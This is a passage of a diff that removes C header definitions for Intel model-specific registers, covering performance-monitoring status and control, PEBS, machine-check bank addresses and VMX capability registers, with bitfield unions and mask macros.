-#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ(_) (((_) >> 59) & 0x01) - - /** - * [Bit 60] ASCI: Data in the performance counters in the core PMU may include contributions from the direct or indirect - * operation Intel SGX to protect an enclave. - * - * @remarks If CPUID.(EAX=07H, ECX=0):EBX[2] = 1 - */ - uint64_t asci : 1; -#define IA32_PERF_GLOBAL_STATUS_ASCI_BIT 60 -#define IA32_PERF_GLOBAL_STATUS_ASCI_FLAG 0x1000000000000000 -#define IA32_PERF_GLOBAL_STATUS_ASCI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_ASCI(_) (((_) >> 60) & 0x01) - - /** - * [Bit 61] Uncore counter overflow status. - * - * @remarks If CPUID.0AH: EAX[7:0] > 2 - */ - uint64_t ovf_uncore : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_BIT 61 -#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_FLAG 0x2000000000000000 -#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE(_) (((_) >> 61) & 0x01) - - /** - * [Bit 62] OvfBuf: DS SAVE area Buffer overflow status. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ - uint64_t ovf_buf : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_BIT 62 -#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_FLAG 0x4000000000000000 -#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_BUF(_) (((_) >> 62) & 0x01) - - /** - * [Bit 63] CondChgd: Status bits of this register have changed. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ - uint64_t cond_chgd : 1; -#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_BIT 63 -#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_FLAG 0x8000000000000000 -#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_COND_CHGD(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} ia32_perf_global_status_register; - - -/** - * @brief Global Performance Counter Control (R/W) - * - * Global Performance Counter Control. Counter increments while the result of ANDing the respective enable bit in this MSR - * with the corresponding OS or USR bits in the general-purpose or fixed counter control MSR is true. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ -#define IA32_PERF_GLOBAL_CTRL 0x0000038F -typedef struct -{ - /** - * EN_PMC(n). Enable bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - */ - uint32_t en_pmcn; - - /** - * EN_FIXED_CTR(n). Enable bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - * - * @remarks If CPUID.0AH: EDX[4:0] > n - */ - uint32_t en_fixed_ctrn; -} ia32_perf_global_ctrl_register; - - -/** - * Global Performance Counter Overflow Reset Control. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ -#define IA32_PERF_GLOBAL_STATUS_RESET 0x00000390 -typedef union -{ - struct - { - /** - * [Bits 31:0] Set 1 to clear Ovf_PMC(n) bit. Clear bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - */ - uint64_t clear_ovf_pmcn : 32; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_BIT 0 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_FLAG 0xFFFFFFFF -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_MASK 0xFFFFFFFF -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * [Bits 34:32] Set 1 to clear Ovf_FIXED_CTR(n) bit. Clear bitmask. Only the first n-1 bits are valid. Bits 31:n are - * reserved. - * - * @remarks If CPUID.0AH: EDX[4:0] > n - */ - uint64_t clear_ovf_fixed_ctrn : 3; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_BIT 32 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_FLAG 0x700000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_MASK 0x07 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN(_) (((_) >> 32) & 0x07) - uint64_t reserved1 : 20; - - /** - * [Bit 55] Set 1 to clear Trace_ToPA_PMI bit. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && IA32_RTIT_CTL.ToPA = 1 - */ - uint64_t clear_trace_topa_pmi : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_BIT 55 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_FLAG 0x80000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) - uint64_t reserved2 : 2; - - /** - * [Bit 58] Set 1 to clear LBR_Frz bit. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t clear_lbr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_BIT 58 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_FLAG 0x400000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ(_) (((_) >> 58) & 0x01) - - /** - * [Bit 59] Set 1 to clear CTR_Frz bit. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t clear_ctr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_BIT 59 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_FLAG 0x800000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ(_) (((_) >> 59) & 0x01) - - /** - * [Bit 60] Set 1 to clear ASCI bit. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t clear_asci : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_BIT 60 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_FLAG 0x1000000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI(_) (((_) >> 60) & 0x01) - - /** - * [Bit 61] Set 1 to clear Ovf_Uncore bit. - * - * @remarks 06_2EH - */ - uint64_t clear_ovf_uncore : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_BIT 61 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_FLAG 0x2000000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE(_) (((_) >> 61) & 0x01) - - /** - * [Bit 62] Set 1 to clear OvfBuf bit. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ - uint64_t clear_ovf_buf : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_BIT 62 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_FLAG 0x4000000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF(_) (((_) >> 62) & 0x01) - - /** - * [Bit 63] Set 1 to clear CondChgd bit. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ - uint64_t clear_cond_chgd : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_BIT 63 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_FLAG 0x8000000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} ia32_perf_global_status_reset_register; - - -/** - * Global Performance Counter Overflow Set Control. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ -#define IA32_PERF_GLOBAL_STATUS_SET 0x00000391 -typedef union -{ - struct - { - /** - * [Bits 31:0] Set 1 to cause Ovf_PMC(n) = 1. Set bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - */ - uint64_t ovf_pmcn : 32; -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_BIT 0 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_FLAG 0xFFFFFFFF -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_MASK 0xFFFFFFFF -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * [Bits 34:32] Set 1 to cause Ovf_FIXED_CTR(n) = 1. Set bitmask. Only the first n-1 bits are valid. Bits 31:n are - * reserved. - * - * @remarks If CPUID.0AH: EDX[4:0] > n - */ - uint64_t ovf_fixed_ctrn : 3; -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_BIT 32 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_FLAG 0x700000000 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_MASK 0x07 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN(_) (((_) >> 32) & 0x07) - uint64_t reserved1 : 20; - - /** - * [Bit 55] Set 1 to cause Trace_ToPA_PMI = 1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t trace_topa_pmi : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_BIT 55 -#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_FLAG 0x80000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) - uint64_t reserved2 : 2; - - /** - * [Bit 58] Set 1 to cause LBR_Frz = 1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t lbr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_BIT 58 -#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_FLAG 0x400000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ(_) (((_) >> 58) & 0x01) - - /** - * [Bit 59] Set 1 to cause CTR_Frz = 1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t ctr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_BIT 59 -#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_FLAG 0x800000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ(_) (((_) >> 59) & 0x01) - - /** - * [Bit 60] Set 1 to cause ASCI = 1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t asci : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_BIT 60 -#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_FLAG 0x1000000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_ASCI(_) (((_) >> 60) & 0x01) - - /** - * [Bit 61] Set 1 to cause Ovf_Uncore = 1. - * - * @remarks 06_2EH - */ - uint64_t ovf_uncore : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_BIT 61 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_FLAG 0x2000000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE(_) (((_) >> 61) & 0x01) - - /** - * [Bit 62] Set 1 to cause OvfBuf = 1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t ovf_buf : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_BIT 62 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_FLAG 0x4000000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF(_) (((_) >> 62) & 0x01) - uint64_t reserved3 : 1; - }; - - uint64_t flags; -} ia32_perf_global_status_set_register; - - -/** - * Indicator that core perfmon interface is in use. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ -#define IA32_PERF_GLOBAL_INUSE 0x00000392 -typedef union -{ - struct - { - /** - * [Bits 31:0] IA32_PERFEVTSEL(n) in use. Status bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - */ - uint64_t ia32_perfevtseln_in_use : 32; -#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_BIT 0 -#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_FLAG 0xFFFFFFFF -#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_MASK 0xFFFFFFFF -#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * [Bits 34:32] IA32_FIXED_CTR(n) in use. Status bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - */ - uint64_t ia32_fixed_ctrn_in_use : 3; -#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_BIT 32 -#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_FLAG 0x700000000 -#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_MASK 0x07 -#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE(_) (((_) >> 32) & 0x07) - uint64_t reserved1 : 28; - - /** - * [Bit 63] PMI in use. - */ - uint64_t pmi_in_use : 1; -#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_BIT 63 -#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_FLAG 0x8000000000000000 -#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_MASK 0x01 -#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} ia32_perf_global_inuse_register; - - -/** - * PEBS Control. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ -#define IA32_PEBS_ENABLE 0x000003F1 -typedef union -{ - struct - { - /** - * [Bit 0] Enable PEBS on IA32_PMC0. - * - * @remarks 06_0FH - */ - uint64_t enable_pebs : 1; -#define IA32_PEBS_ENABLE_ENABLE_PEBS_BIT 0 -#define IA32_PEBS_ENABLE_ENABLE_PEBS_FLAG 0x01 -#define IA32_PEBS_ENABLE_ENABLE_PEBS_MASK 0x01 -#define IA32_PEBS_ENABLE_ENABLE_PEBS(_) (((_) >> 0) & 0x01) - - /** - * [Bits 3:1] Reserved or model specific. - */ - uint64_t reservedormodelspecific1 : 3; -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_BIT 1 -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_FLAG 0x0E -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_MASK 0x07 -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1(_) (((_) >> 1) & 0x07) - uint64_t reserved1 : 28; - - /** - * [Bits 35:32] Reserved or model specific. - */ - uint64_t reservedormodelspecific2 : 4; -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_BIT 32 -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_FLAG 0xF00000000 -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_MASK 0x0F -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2(_) (((_) >> 32) & 0x0F) - uint64_t reserved2 : 28; - }; - - uint64_t flags; -} ia32_pebs_enable_register; - -/** - * @defgroup ia32_mc_ctl \ - * IA32_MC(i)_CTL - * - * IA32_MC(0-28)_CTL. - * - * @remarks If IA32_MCG_CAP.CNT > n - * @{ - */ -#define IA32_MC0_CTL 0x00000400 -#define IA32_MC1_CTL 0x00000404 -#define IA32_MC2_CTL 0x00000408 -#define IA32_MC3_CTL 0x0000040C -#define IA32_MC4_CTL 0x00000410 -#define IA32_MC5_CTL 0x00000414 -#define IA32_MC6_CTL 0x00000418 -#define IA32_MC7_CTL 0x0000041C -#define IA32_MC8_CTL 0x00000420 -#define IA32_MC9_CTL 0x00000424 -#define IA32_MC10_CTL 0x00000428 -#define IA32_MC11_CTL 0x0000042C -#define IA32_MC12_CTL 0x00000430 -#define IA32_MC13_CTL 0x00000434 -#define IA32_MC14_CTL 0x00000438 -#define IA32_MC15_CTL 0x0000043C -#define IA32_MC16_CTL 0x00000440 -#define IA32_MC17_CTL 0x00000444 -#define IA32_MC18_CTL 0x00000448 -#define IA32_MC19_CTL 0x0000044C -#define IA32_MC20_CTL 0x00000450 -#define IA32_MC21_CTL 0x00000454 -#define IA32_MC22_CTL 0x00000458 -#define IA32_MC23_CTL 0x0000045C -#define IA32_MC24_CTL 0x00000460 -#define IA32_MC25_CTL 0x00000464 -#define IA32_MC26_CTL 0x00000468 -#define IA32_MC27_CTL 0x0000046C -#define IA32_MC28_CTL 0x00000470 - /** - * @} - */ - - /** - * @defgroup ia32_mc_status \ - * IA32_MC(i)_STATUS - * - * IA32_MC(0-28)_STATUS. - * - * @remarks If IA32_MCG_CAP.CNT > n - * @{ - */ -#define IA32_MC0_STATUS 0x00000401 -#define IA32_MC1_STATUS 0x00000405 -#define IA32_MC2_STATUS 0x00000409 -#define IA32_MC3_STATUS 0x0000040D -#define IA32_MC4_STATUS 0x00000411 -#define IA32_MC5_STATUS 0x00000415 -#define IA32_MC6_STATUS 0x00000419 -#define IA32_MC7_STATUS 0x0000041D -#define IA32_MC8_STATUS 0x00000421 -#define IA32_MC9_STATUS 0x00000425 -#define IA32_MC10_STATUS 0x00000429 -#define IA32_MC11_STATUS 0x0000042D -#define IA32_MC12_STATUS 0x00000431 -#define IA32_MC13_STATUS 0x00000435 -#define IA32_MC14_STATUS 0x00000439 -#define IA32_MC15_STATUS 0x0000043D -#define IA32_MC16_STATUS 0x00000441 -#define IA32_MC17_STATUS 0x00000445 -#define IA32_MC18_STATUS 0x00000449 -#define IA32_MC19_STATUS 0x0000044D -#define IA32_MC20_STATUS 0x00000451 -#define IA32_MC21_STATUS 0x00000455 -#define IA32_MC22_STATUS 0x00000459 -#define IA32_MC23_STATUS 0x0000045D -#define IA32_MC24_STATUS 0x00000461 -#define IA32_MC25_STATUS 0x00000465 -#define IA32_MC26_STATUS 0x00000469 -#define IA32_MC27_STATUS 0x0000046D -#define IA32_MC28_STATUS 0x00000471 - /** - * @} - */ - - /** - * @defgroup ia32_mc_addr \ - * IA32_MC(i)_ADDR - * - * IA32_MC(0-28)_ADDR. - * - * @remarks If IA32_MCG_CAP.CNT > n - * @{ - */ -#define IA32_MC0_ADDR 0x00000402 -#define IA32_MC1_ADDR 0x00000406 -#define IA32_MC2_ADDR 0x0000040A -#define IA32_MC3_ADDR 0x0000040E -#define IA32_MC4_ADDR 0x00000412 -#define IA32_MC5_ADDR 0x00000416 -#define IA32_MC6_ADDR 0x0000041A -#define IA32_MC7_ADDR 0x0000041E -#define IA32_MC8_ADDR 0x00000422 -#define IA32_MC9_ADDR 0x00000426 -#define IA32_MC10_ADDR 0x0000042A -#define IA32_MC11_ADDR 0x0000042E -#define IA32_MC12_ADDR 0x00000432 -#define IA32_MC13_ADDR 0x00000436 -#define IA32_MC14_ADDR 0x0000043A -#define IA32_MC15_ADDR 0x0000043E -#define IA32_MC16_ADDR 0x00000442 -#define IA32_MC17_ADDR 0x00000446 -#define IA32_MC18_ADDR 0x0000044A -#define IA32_MC19_ADDR 0x0000044E -#define IA32_MC20_ADDR 0x00000452 -#define IA32_MC21_ADDR 0x00000456 -#define IA32_MC22_ADDR 0x0000045A -#define IA32_MC23_ADDR 0x0000045E -#define IA32_MC24_ADDR 0x00000462 -#define IA32_MC25_ADDR 0x00000466 -#define IA32_MC26_ADDR 0x0000046A -#define IA32_MC27_ADDR 0x0000046E -#define IA32_MC28_ADDR 0x00000472 - /** - * @} - */ - - /** - * @defgroup ia32_mc_misc \ - * IA32_MC(i)_MISC - * - * IA32_MC(0-28)_MISC. - * - * @remarks If IA32_MCG_CAP.CNT > n - * @{ - */ -#define IA32_MC0_MISC 0x00000403 -#define IA32_MC1_MISC 0x00000407 -#define IA32_MC2_MISC 0x0000040B -#define IA32_MC3_MISC 0x0000040F -#define IA32_MC4_MISC 0x00000413 -#define IA32_MC5_MISC 0x00000417 -#define IA32_MC6_MISC 0x0000041B -#define IA32_MC7_MISC 0x0000041F -#define IA32_MC8_MISC 0x00000423 -#define IA32_MC9_MISC 0x00000427 -#define IA32_MC10_MISC 0x0000042B -#define IA32_MC11_MISC 0x0000042F -#define IA32_MC12_MISC 0x00000433 -#define IA32_MC13_MISC 0x00000437 -#define IA32_MC14_MISC 0x0000043B -#define IA32_MC15_MISC 0x0000043F -#define IA32_MC16_MISC 0x00000443 -#define IA32_MC17_MISC 0x00000447 -#define IA32_MC18_MISC 0x0000044B -#define IA32_MC19_MISC 0x0000044F -#define IA32_MC20_MISC 0x00000453 -#define IA32_MC21_MISC 0x00000457 -#define IA32_MC22_MISC 0x0000045B -#define IA32_MC23_MISC 0x0000045F -#define IA32_MC24_MISC 0x00000463 -#define IA32_MC25_MISC 0x00000467 -#define IA32_MC26_MISC 0x0000046B -#define IA32_MC27_MISC 0x0000046F -#define IA32_MC28_MISC 0x00000473 - /** - * @} - */ - - - /** - * Reporting Register of Basic VMX Capabilities. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.1(BASIC VMX INFORMATION)] - * @see Vol3D[A.1(Basic VMX Information)] (reference) - */ -#define IA32_VMX_BASIC 0x00000480 -typedef union -{ - struct - { - /** - * @brief VMCS revision identifier used by the processor - * - * [Bits 30:0] 31-bit VMCS revision identifier used by the processor. Processors that use the same VMCS revision identifier - * use the same size for VMCS regions. - */ - uint64_t vmcs_revision_id : 31; -#define IA32_VMX_BASIC_VMCS_REVISION_ID_BIT 0 -#define IA32_VMX_BASIC_VMCS_REVISION_ID_FLAG 0x7FFFFFFF -#define IA32_VMX_BASIC_VMCS_REVISION_ID_MASK 0x7FFFFFFF -#define IA32_VMX_BASIC_VMCS_REVISION_ID(_) (((_) >> 0) & 0x7FFFFFFF) - - /** - * [Bit 31] Bit 31 is always 0. - */ - uint64_t must_be_zero : 1; -#define IA32_VMX_BASIC_MUST_BE_ZERO_BIT 31 -#define IA32_VMX_BASIC_MUST_BE_ZERO_FLAG 0x80000000 -#define IA32_VMX_BASIC_MUST_BE_ZERO_MASK 0x01 -#define IA32_VMX_BASIC_MUST_BE_ZERO(_) (((_) >> 31) & 0x01) - - /** - * @brief Size of the VMCS - * - * [Bits 44:32] Report the number of bytes that software should allocate for the VMXON region and any VMCS region. It is a - * value greater than 0 and at most 4096 (bit 44 is set if and only if bits 43:32 are clear). - */ - uint64_t vmcs_size_in_bytes : 13; -#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_BIT 32 -#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_FLAG 0x1FFF00000000 -#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_MASK 0x1FFF -#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES(_) (((_) >> 32) & 0x1FFF) - uint64_t reserved1 : 3; - - /** - * @brief Width of physical address used for the VMCS - * - 0 -> limited to the available amount of physical RAM - * - 1 -> within the first 4 GB - * - * [Bit 48] Indicates the width of the physical addresses that may be used for the VMXON region, each VMCS, and data - * structures referenced by pointers in a VMCS (I/O bitmaps, virtual-APIC page, MSR areas for VMX transitions). If the bit - * is 0, these addresses are limited to the processor's physical-address width.2 If the bit is 1, these addresses are - * limited to 32 bits. This bit is always 0 for processors that support Intel 64 architecture. - */ - uint64_t vmcs_physical_address_width : 1; -#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_BIT 48 -#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_FLAG 0x1000000000000 -#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_MASK 0x01 -#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH(_) (((_) >> 48) & 0x01) - - /** - * @brief Whether the processor supports the dual-monitor treatment of system-management interrupts and system-management - * code (always 1) - * - * [Bit 49] Read as 1, the logical processor supports the dual-monitor treatment of system-management interrupts and - * system-management mode. - * - * @see Vol3C[34.15(DUAL-MONITOR TREATMENT OF SMIs AND SMM)] - */ - uint64_t dual_monitor_support : 1; -#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_BIT 49 -#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_FLAG 0x2000000000000 -#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_MASK 0x01 -#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT(_) (((_) >> 49) & 0x01) - - /** - * @brief Memory type that must be used for the VMCS - * - * [Bits 53:50] Report the memory type that should be used for the VMCS, for data structures referenced by pointers in the - * VMCS (I/O bitmaps, virtual-APIC page, MSR areas for VMX transitions), and for the MSEG header. If software needs to - * access these data structures (e.g., to modify the contents of the MSR bitmaps), it can configure the paging structures - * to map them into the linear-address space. If it does so, it should establish mappings that use the memory type reported - * bits 53:50 in this MSR. - * As of this writing, all processors that support VMX operation indicate the write-back type. - */ - uint64_t memory_type : 4; -#define IA32_VMX_BASIC_MEMORY_TYPE_BIT 50 -#define IA32_VMX_BASIC_MEMORY_TYPE_FLAG 0x3C000000000000 -#define IA32_VMX_BASIC_MEMORY_TYPE_MASK 0x0F -#define IA32_VMX_BASIC_MEMORY_TYPE(_) (((_) >> 50) & 0x0F) - - /** - * @brief Whether the processor provides additional information for exits due to INS/OUTS - * - * [Bit 54] When set to 1, the processor reports information in the VM-exit instruction-information field on VM exits due - * to execution of the INS and OUTS instructions. This reporting is done only if this bit is read as 1. - * - * @see Vol3C[27.2.4(Information for VM Exits Due to Instruction Execution)] - */ - uint64_t ins_outs_reporting : 1; -#define IA32_VMX_BASIC_INS_OUTS_REPORTING_BIT 54 -#define IA32_VMX_BASIC_INS_OUTS_REPORTING_FLAG 0x40000000000000 -#define IA32_VMX_BASIC_INS_OUTS_REPORTING_MASK 0x01 -#define IA32_VMX_BASIC_INS_OUTS_REPORTING(_) (((_) >> 54) & 0x01) - - /** - * @brief Whether default 1 bits in control MSRs (pin/proc/exit/entry) may be cleared to 0 and that 'true' control MSRs are - * supported - * - * [Bit 55] Is read as 1 if any VMX controls that default to 1 may be cleared to 0. It also reports support for the VMX - * capability MSRs IA32_VMX_TRUE_PINBASED_CTLS, IA32_VMX_TRUE_PROCBASED_CTLS, IA32_VMX_TRUE_EXIT_CTLS, and - * IA32_VMX_TRUE_ENTRY_CTLS. - * - * @see Vol3D[A.2(RESERVED CONTROLS AND DEFAULT SETTINGS)] - * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] - * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] - * @see Vol3D[A.4(VM-EXIT CONTROLS)] - * @see Vol3D[A.5(VM-ENTRY CONTROLS)] - */ - uint64_t vmx_controls : 1; -#define IA32_VMX_BASIC_VMX_CONTROLS_BIT 55 -#define IA32_VMX_BASIC_VMX_CONTROLS_FLAG 0x80000000000000 -#define IA32_VMX_BASIC_VMX_CONTROLS_MASK 0x01 -#define IA32_VMX_BASIC_VMX_CONTROLS(_) (((_) >> 55) & 0x01) - uint64_t reserved2 : 8; - }; - - uint64_t flags; -} ia32_vmx_basic_register; - - -/** - * Capability Reporting Register of Pin-Based VM-Execution Controls. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] - * @see Vol3C[24.6.1(Pin-Based VM-Execution Controls)] (reference) - */ -#define IA32_VMX_PINBASED_CTLS 0x00000481 -typedef union -{ - struct - { - /** - * @brief External interrupts cause VM-exits if set; otherwise dispatched through the guest's IDT - * - * [Bit 0] If this control is 1, external interrupts cause VM exits. Otherwise, they are delivered normally through the - * guest interrupt-descriptor table 